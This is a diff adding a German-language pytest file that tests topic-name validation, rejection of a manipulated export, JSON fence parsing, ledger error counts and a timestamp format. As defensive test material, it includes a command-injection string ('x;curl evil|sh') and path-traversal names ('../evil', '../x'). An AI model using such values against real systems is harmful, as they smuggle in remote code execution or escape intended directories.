update

tests/test_topics.py

@@ -0,0 +1,49 @@
+"""Sicherheit + Infra-Kleinkram: Topic-Namen-Validierung, jsonx-Fences,
+Ledger-Timeouts, db.now-Format."""
+
+import re
+
+import config
+import db
+import jsonx
+import ledger
+import pytest
+import transfer
+from conftest import run_anlegen, topic_anlegen
+
+
+def test_topic_name_ok():
+    assert config.topic_name_ok("aak")
+    assert config.topic_name_ok("algo-1_test")
+    assert config.topic_name_ok("Größe")
+    for boese in ("..", "a/b", "x;curl evil|sh", "-flag", "", "a.b", "../x", "a b", "a\tb"):
+        assert not config.topic_name_ok(boese), boese
+
+
+def test_import_lehnt_boesen_topic_ab():
+    """Manipulierter Export mit topic='../evil' → Abbruch vor rmtree, kein Eintrag."""
+    d = {"topic": "../evil", "topics": [{"name": "../evil"}]}
+    with pytest.raises(ValueError):
+        transfer.importieren(d)
+    assert not db.one("SELECT name FROM topics WHERE name=?", ("../evil",))
+
+
+def test_jsonx_findet_json_im_zweiten_fence():
+    text = ("Beispiel:\n```python\nprint('hi')\n```\n"
+            "Antwort:\n```json\n[{\"a\": 1}]\n```")
+    assert jsonx.parse(text) == [{"a": 1}]
+
+
+def test_ledger_timeouts_und_parse():
+    topic = topic_anlegen("led")
+    run = run_anlegen(topic)
+    ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "timeout"})
+    ledger.log_call(run, ebene="e", stage="s", status="infra", meta={"err": "HTTP 429"})
+    ledger.log_call(run, ebene="e", stage="s", status="parse", meta={"err": "kaputt"})
+    z = ledger.kennzahlen(run)[0]
+    assert z["timeouts"] == 1          # nur der echte Timeout
+    assert z["fehler"] == 3            # infra(2) + parse(1)
+
+
+def test_db_now_ist_zeitstempel():
+    assert re.match(r"^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$", db.now())